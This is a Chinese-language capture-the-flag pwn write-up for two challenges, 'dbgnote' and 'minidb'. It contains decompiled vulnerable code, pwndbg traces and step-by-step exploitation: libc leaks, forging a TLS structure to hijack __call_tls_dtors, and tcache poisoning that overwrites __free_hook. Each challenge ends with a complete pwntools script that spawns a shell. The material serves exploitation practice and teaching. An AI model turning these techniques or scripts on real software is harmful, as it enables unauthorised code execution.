dbgnote
这题…复现的让我觉得我没学过pwn
漏洞点:
while ( 1 )
{
LABEL_6:
v5 = aNoteAdd;
v6 = 0;
sub_1B20(&userName);
read_input(buf, 0x32LL); //overflow
while ( strcmp(buf, v5) )
{
++v6;
v5 += 16;
if ( v6 == 6 )
{
puts("Error.");
goto LABEL_6;
}
}
call_func[v6]();
}
__int64 input_vuln()
{
__int128 vars0; // [rsp+0h] [rbp+0h] BYREF
__int64 vars10; // [rsp+10h] [rbp+10h]
unsigned __int64 vars18; // [rsp+18h] [rbp+18h]
vars18 = __readfsqword(0x28u);
vars0 = 0LL;
vars10 = 0LL;
read_input(&vars0, 25LL); // off-by-one
return strtol(&vars0, 0LL, 10);
}
unsigned __int64 __fastcall super_note()
{
__int16 v1; // sp
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
puts("Please don't patch this normal function, we will check it!");
if ( !super_flag )
{
super_flag = 1;
__printf_chk(1LL, "Super note: %d\n", (v1 + 4)); //leak addr
}
return v2 - __readfsqword(0x28u);
}
同时存在一个可以实现任意地址读写的函数
void __noreturn sub_1B70()
{
char *s[9]; // [rsp+0h] [rbp+0h] BYREF
s[1] = __readfsqword(0x28u);
puts("Please don't patch this normal function, we will check it!");
puts("[+] Debug the note.");
s[0] = 0LL;
__printf_chk(1LL, "[Addr] ");
read(0, s, 8uLL);
__printf_chk(1LL, "[Read] ");
puts(s[0]);
__printf_chk(1LL, "[Addr] ");
read(0, s, 8uLL);
__printf_chk(1LL, "[Write] ");
read(0, s[0], 0x90uLL);
exit(0);
}
然而在运行程序的时候只能加上dbg
或run
,泄露地址需要run
函数,任意地址读写需要dbg
函数,但存在signal
机制
unsigned int my_init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
signal(6, handler);
signal(14, over);
return alarm(0x3Cu);
}
signal
函数的作用是设置信号处理函数。第一个参数是要处理的信号编号,第二个参数是指向信号处理函数的指针。信号处理函数是一个特殊的函数,用于在接收到指定信号时执行相应的操作。查了一下信号6
是SIGABRT
信号,即abort
报错,那么只需要触发程序报错即可运行dbg
接下来的操作就是向envp
环境变量加入LD_DEBUG=all
,触发报错会泄露libc
同时还会运行dbg
函数,获取system
函数地址之后打__call_tls_dtors
利用函数中的call rax
执行system
,但需要根据函数执行过程修改tls
结构体
先写入LD_DEBUG=all
,然后利用super note
功能泄露栈的低位地址
.data:0000000000004020 ; char aNoteAdd[]
.data:0000000000004020 4E 6F 74 65 5F 41 64 64 00 aNoteAdd db 'Note_Add',0 ; DATA XREF: main+D1↑o
.data:0000000000004029 00 00 00 00 00 00 00 align 10h
.data:0000000000004030 4E 6F 74 65 5F 44 65 6C 65 74+aNoteDelete db 'Note_Delete',0
.data:000000000000403C 00 00 00 00 align 20h
.data:0000000000004040 4E 6F 74 65 5F 57 72 69 74 65+aNoteWrite db 'Note_Write',0
.data:000000000000404B 00 00 00 00 00 align 10h
.data:0000000000004050 4E 6F 74 65 5F 52 65 61 64 00 aNoteRead db 'Note_Read',0
.data:000000000000405A 00 00 00 00 00 00 align 20h
.data:0000000000004060 4E 6F 74 65 5F 45 78 69 74 00 aNoteExit db 'Note_Exit',0
.data:000000000000406A 00 00 00 00 00 00 align 10h
.data:0000000000004070 2B 2B 2D 2D 2B 2B 2D 2D 00 db '++--++--',0
.data:0000000000004079 00 00 00 00 00 00 00 align 20h
.data:0000000000004080 10 18 00 00 00 00 00 00 call_func dq offset add ; DATA XREF: main+D8↑o
.data:0000000000004088 10 19 00 00 00 00 00 00 dq offset delete
.data:0000000000004090 C0 19 00 00 00 00 00 00 dq offset write
.data:0000000000004098 80 1A 00 00 00 00 00 00 dq offset dbg_read
.data:00000000000040A0 80 14 00 00 00 00 00 00 dq offset my_exit
.data:00000000000040A8 B0 14 00 00 00 00 00 00 dq offset super_note
.data:00000000000040A8 _data ends
r.sendlineafter(b'UserName:', b'LD_DEBUG=all') #envp content
r.sendlineafter(b'Note $ ', b'++--++--')
r.recvuntil(b'Super note: ')
leak = int(r.recv(5), 10) #leak low addr
envp
的范围在从envp
开始地址到null
结束,而之前写入的地址与envp
之间存在null
,所以需要改指向LD_DEBUG=all
的地址为envp
能够识别到的地址,在输入功能的函数中存在两字节的溢出,刚好溢出到指向LD_DEBUG=all
的低二位,发送地址时需要用p16
p = b'a' * 0x30 + p16(leak + 0x1c) #change low addr into envp
r.sendlineafter(b'Note $ ', p)
接下来利用off-by-one
通过溢出触发报错来泄露libc
地址并进入到dbg
r.sendlineafter(b'Note $ ', b'Note_Read')
r.sendafter(b'Index: ', b'a' * 0x19) #abort and leak libc
r.recvuntil('base: 0x')
libc_base = int(r.recv(16), 16)
最后就是利用任意地址写来劫持__call_tls_dtors
了,这里要对exit
函数进行调试,exit->__run_exit_handlers->__call_tls_dtors
0x7ffff7c45d60 <__call_tls_dtors> endbr64
0x7ffff7c45d64 <__call_tls_dtors+4> push rbp
0x7ffff7c45d65 <__call_tls_dtors+5> push rbx
0x7ffff7c45d66 <__call_tls_dtors+6> sub rsp, 8
0x7ffff7c45d6a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 0x1d301f]
► 0x7ffff7c45d71 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx]
0x7ffff7c45d75 <__call_tls_dtors+21> test rbp, rbp
0x7ffff7c45d78 <__call_tls_dtors+24> je __call_tls_dtors+93 <__call_tls_dtors+93>
↓
0x7ffff7c45dbd <__call_tls_dtors+93> add rsp, 8
0x7ffff7c45dc1 <__call_tls_dtors+97> pop rbx
0x7ffff7c45dc2 <__call_tls_dtors+98> pop rbp
这里需要绕过这个je
继续执行下面的内容, 所以rbp
指向的值要是0
,fs:[rbx]
表示tls + rbx
地址中的内容为0
*RBX 0xffffffffffffffa8
pwndbg> tls
tls : 0x7ffff7fb8740
pwndbg> p/x 0x7ffff7fb8740 + 0xffffffffffffffa8
$2 = 0x7ffff7fb86e8
绕过之后就要去改rax = system rdi = /bin/sh
0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 0x11
► 0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
rbp
指向的值已经被改成0
了,执行xor rax, qword ptr fs:[0x30]
即执行将fs:[0x30]
与0
进行异或存到rax
中,所以直接改fs:[0x30]
指向system
即可
pwndbg> tls
tls : 0x7ffff7fb8740
pwndbg> p/x 0x7ffff7fb8740 + 0x30
$6 = 0x7ffff7fb8770
接下来计算指向rdi
的地址,将对应地址内容改成/bin/sh
0x7ffff7c45d99 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
pwndbg> p/x 0x7ffff7fb8740 + 0x30
$6 = 0x7ffff7fb8770
pwndbg> p/x 0x7ffff7fb86f0 + 8
$7 = 0x7ffff7fb86f8
最后在指向call system
之后还要注意一个地址,system->posix_spawn->__spawni->__spawnix->pthread_setcancelstate
0x7ffff7c9b76e <pthread_setcancelstate+14> mov rdx, qword ptr fs:[0x10]
0x7ffff7c9b777 <pthread_setcancelstate+23> test rsi, rsi
0x7ffff7c9b77a <pthread_setcancelstate+26> je pthread_setcancelstate+37 <pthread_setcancelstate+37>
► 0x7ffff7c9b77c <pthread_setcancelstate+28> movzx eax, byte ptr [rdx + 0x971]
0x7ffff7c9b783 <pthread_setcancelstate+35> mov dword ptr [rsi], eax
0x7ffff7c9b785 <pthread_setcancelstate+37> mov byte ptr [rdx + 0x971], dil
0x7ffff7c9b78c <pthread_setcancelstate+44> xor eax, eax
0x7ffff7c9b78e <pthread_setcancelstate+46> ret
这里的rdx + 0x971
需要是一个有效地址且其中储存的内容也要是一个有效地址
pwndbg> tls
tls : 0x7ffff7fb8740
pwndbg> p/x 0x7ffff7fb8740 + 0x10
$9 = 0x7ffff7fb8750
伪造的tls
结构体满足以上四个条件即可成功getshell
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process([file_name, 'run'])
elf = ELF(file_name)
libc = ELF('./2.35/libc.so.6')
def dbg():
gdb.attach(r)
r.sendlineafter(b'UserName:', b'LD_DEBUG=all') #envp content
r.sendlineafter(b'Note $ ', b'++--++--')
r.recvuntil(b'Super note: ')
leak = int(r.recv(5), 10) #leak low addr
p = b'a' * 0x30 + p16(leak + 0x1c) #change low addr into envp
r.sendlineafter(b'Note $ ', p)
r.sendlineafter(b'Note $ ', b'Note_Read')
r.sendafter(b'Index: ', b'a' * 0x19) #abort and leak libc
r.recvuntil('base: 0x')
libc_base = int(r.recv(16), 16)
system_addr = libc_base + libc.sym['system']
target = libc_base + 0x3b86e8
r.sendafter('[Addr] ', p64(libc_base)) #any valid addr
r.sendafter('[Addr] ', p64(target))
p1 = p64(target + 0x8) + p64(0) + p64(target + 0x18) + b'/bin/sh\x00' #jne and point to 0 and set rdi
p1 = p1.ljust(0x68, b'\x00') + p64(libc_base + 0x3b8750 - 0x971) #any valid addr stored valid addr
p1 = p1.ljust(0x88, b'\x00') + p64(system_addr) #rax = system xor 0(ebp)
r.sendafter('[Write] ', p1)
r.interactive()
minidb
就是说在现场没写不出来比赛完还是写不出来(),看了wp
和解析终于看懂了呜呜
数据库堆题,保护全开,漏洞点如下
if ( a1 )
{
printf("Input the key: ");
__isoc99_scanf("%ld", &v3);
ptr = sub_168D(a1, v3, 0LL);
if ( ptr )
{
printf("Input the new value: ");
__isoc99_scanf("%255s", value);
len = strlen(value);
*(&ptr->value + len) = 0; // strlen <=255 && oob write \x00
if ( (a1->type == 1 || a1->type == 2) && len > 0x7F || (a1->type == 3 || a1->type == 4) && len > 0xFF )
{
puts("\x1B[31m\x1B[1m[x] The length of new value is TOOOOOO LOOOOONG!\x1B[0m");
}
else
{
memcpy(&ptr->value, value, len);
*(&ptr->value + len) = 0;
puts("[+] Succesfully update the value of specific key!");
}
}
else
{
puts("\x1B[31m\x1B[1m[x] Key NOT FOUND!\x1B[0m");
}
}
else
{
puts("\x1B[31m\x1B[1m[x] Runtime error! No database provided!\x1B[0m");
}
return __readfsqword(0x28u) ^ v6;
}
虽然限制了在不同类型下的大小,但是在判断大小之前就会将最后一位赋为0
,这里可以实现从该堆线下任意一个字节改为0
,接下来开始构造堆
创建一个数据库与三个键值对,目的是在后续将下一个堆name
地址末尾改成0
时刚好在一个堆上
add_db(2, b'a' * 8)
use(b'a' * 8)
add(0, b'a')
add(1, b'a')
add(2, b'a')
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1290
Size: 0x821
Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1ab0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1ad0
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1b70
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1c10
Size: 0xa1
Top chunk | PREV_INUSE
Addr: 0x558fca8d1cb0
Size: 0x20351
再创建一个数据库之后用第一个数据库创建两个键值对并删除第二个键值对和第二个数据库,这样再次申请数据库时就可以让它的name
落在这个堆
add_db(2, b'b' * 8)
use(b'a' * 8)
add(3, b'a')
add(4, b'a')
delete(4)
out()
delete_db(b'b' * 8)
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00290
Size: 0x821
Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00ab0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00ad0
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00b70
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00c10
Size: 0xa1
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55b60aa00cb0
Size: 0x821
fd: 0x7fd935e27be0
bk: 0x7fd935e27be0
Free chunk (tcache)
Addr: 0x55b60aa014d0
Size: 0x20
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x55b60aa014f0
Size: 0xa1
Free chunk (tcache) | PREV_INUSE
Addr: 0x55b60aa01590
Size: 0xa1
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x55b60aa01630
Size: 0x1f9d1
再次申请一个数据库且大小在0x90
,此时会用到刚刚删除的数据库的管理和第一个数据库被释放掉的堆,刚好将第三个数据库的name
地址低位改成\x00
后落在第一个数据库的第四个堆上
add_db(2, b'b' * 0x90)
use(b'a' * 8)
edit(2, b'a' * 0x98)
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2f000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2f290
Size: 0x821
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fab0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fad0
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fb70
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fc10
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fcb0
Size: 0x821
Free chunk (tcache) | PREV_INUSE
Addr: 0x55ecd0d304d0
Size: 0x21
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d304f0
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d30590
Size: 0xa1
Top chunk | PREV_INUSE
Addr: 0x55ecd0d30630
Size: 0x1f9d1
pwndbg> x/10gx 0x55ecd0d2fcb0
0x55ecd0d2fcb0: 0x0000000000000000 0x0000000000000821
0x55ecd0d2fcc0: 0x0000000000000002 0x000055ecd0d30500
此时释放掉第一个数据库的第四个堆并不会清除第三个数据库中的name
地址,造成UAF
,先填充tcache
再释放掉这个堆,通过数据库名称列表泄露libc
for i in range(7):
add(i + 4, b'a')
for i in range(7):
delete(i + 4)
delete(3)
out()
show_db()
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc = ELF('./2.31/libc-2.31.so')
[DEBUG] Received 0xf8 bytes:
00000000 5b 2a 5d 20 59 6f 75 20 68 61 76 65 20 32 20 64 │[*] │You │have│ 2 d│
00000010 61 74 61 62 61 73 65 20 6e 6f 77 2e 0a 46 6f 6c │atab│ase │now.│·Fol│
00000020 6c 6f 77 69 6e 67 20 69 73 20 79 6f 75 72 20 64 │lowi│ng i│s yo│ur d│
00000030 61 74 61 62 73 65 73 3a 0a 0a 09 61 61 61 61 61 │atab│ses:│···a│aaaa│
00000040 61 61 61 0a 09 e0 1b 5c 41 a3 7f 0a 0a 43 68 6f │aaa·│···\│A···│·Cho│
00000050 6f 73 65 20 79 6f 75 72 20 63 6f 6d 6d 61 6e 64 │ose │your│ com│mand│
00000060 3a 0a 0a 31 2e 20 43 72 65 61 74 65 20 61 20 6e │:··1│. Cr│eate│ a n│
00000070 65 77 20 64 61 74 61 62 61 73 65 2e 0a 32 2e 20 │ew d│atab│ase.│·2. │
00000080 55 73 65 20 61 20 64 61 74 61 62 61 73 65 2e 0a │Use │a da│taba│se.·│
00000090 33 2e 20 44 65 6c 65 74 65 20 61 20 64 61 74 61 │3. D│elet│e a │data│
000000a0 62 61 73 65 2e 0a 34 2e 20 4c 69 73 74 20 74 68 │base│.·4.│ Lis│t th│
000000b0 65 20 64 61 74 61 62 61 73 65 73 2e 0a 35 2e 20 │e da│taba│ses.│·5. │
000000c0 43 68 61 6e 67 65 20 74 68 65 20 6e 61 6d 65 20 │Chan│ge t│he n│ame │
000000d0 6f 66 20 61 20 64 61 74 61 62 61 73 65 2e 0a 36 │of a│ dat│abas│e.·6│
000000e0 36 36 2e 20 45 78 69 74 2e 0a 0a 59 6f 75 72 20 │66. │Exit│.··Y│our │
000000f0 63 68 6f 69 63 65 3a 20 │choi│ce: │
000000f8
再将释放的堆全部申请回来,单独释放一个堆和name
中指向的堆中指向的堆,以此泄露堆地址,因为后续改数据库名称时需要name
中的内容
use(b'a' * 8)
for i in range(8):
add(i + 4, b'a')
delete(10)
delete(11)
out()
show_db()
r.recvuntil(b'a' * 8 + b'\n' + b'\t')
heap = u64(r.recv(6).ljust(8, b'\x00'))
改第三个数据库的名称为free_hook
,此时修改的堆实际上已经被释放,因此能够改到tcache
链表,需要注意的是数据路名称大小要是0x90
,且改free_hook
的时候system
地址只能在后面否则会截断,因此要写入的地址是free_hook - 0x88
,写入成功在创建一个/bin/sh
并释放即可‘
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(key, value):
r.recvuntil(b"Your choice: ")
r.sendline(b"1")
r.recvuntil(b"Input the key: ")
r.sendline(str(key).encode())
r.recvuntil(b"Input the value: ")
r.sendline(value)
def show(key):
r.recvuntil(b"Your choice: ")
r.sendline(b"2")
r.recvuntil(b"Input the key: ")
r.sendline(str(key).encode())
def edit(key, value):
r.recvuntil(b"Your choice: ")
r.sendline(b"3")
r.recvuntil(b"Input the key: ")
r.sendline(str(key).encode())
r.recvuntil(b"Input the new value: ")
r.sendline(value)
def delete(key):
r.recvuntil(b"Your choice: ")
r.sendline(b"4")
r.recvuntil(b"Input the key: ")
r.sendline(str(key).encode())
def out():
r.recvuntil(b"Your choice: ")
r.sendline(b"666")
def add_db(type, name):
r.recvuntil(b"Your choice: ")
r.sendline(b"1")
r.recvuntil(b"Please input the name of database: ")
r.sendline(name)
r.recvuntil(b"Please input the type of database: ")
r.sendline(str(type).encode())
def use(name):
r.recvuntil(b"Your choice: ")
r.sendline(b"2")
r.recvuntil(b"Please input the name of database: ")
r.sendline(name)
def delete_db(name):
r.recvuntil(b"Your choice: ")
r.sendline(b"3")
r.recvuntil(b"Please input the name of database: ")
r.sendline(name)
def show_db():
r.recvuntil(b"Your choice: ")
r.sendline(b"4")
def edit_db(orig_name, new_name):
r.recvuntil(b"Your choice: ")
r.sendline(b"5")
r.recvuntil(b"Please input the name of database: ")
r.sendline(orig_name)
r.recvuntil(b"Please input the new name for database: ")
r.sendline(new_name)
add_db(2, b'a' * 8)
use(b'a' * 8)
add(0, b'a')
add(1, b'a')
add(2, b'a')
out()
add_db(2, b'b' * 8)
use(b'a' * 8)
add(3, b'a')
add(4, b'a')
delete(4)
out()
delete_db(b'b' * 8)
add_db(2, b'b' * 0x90)
use(b'a' * 8)
edit(2, b'a' * 0x98)
for i in range(7):
add(i + 4, b'a')
for i in range(7):
delete(i + 4)
delete(3)
out()
show_db()
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc = ELF('./2.31/libc-2.31.so')
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
use(b'a' * 8)
for i in range(8):
add(i + 4, b'a')
delete(10)
delete(11)
out()
show_db()
r.recvuntil(b'a' * 8 + b'\n' + b'\t')
heap = u64(r.recv(6).ljust(8, b'\x00'))
edit_db(p64(heap), p64(free_hook - 0x88) + b'a' * 0x88)
add_db(2, b'a' * 0x90)
add_db(2, b'a' * 0x88 + p64(system))
add_db(2, b'/bin/sh\x00')
delete_db(b'/bin/sh\x00')
r.interactive()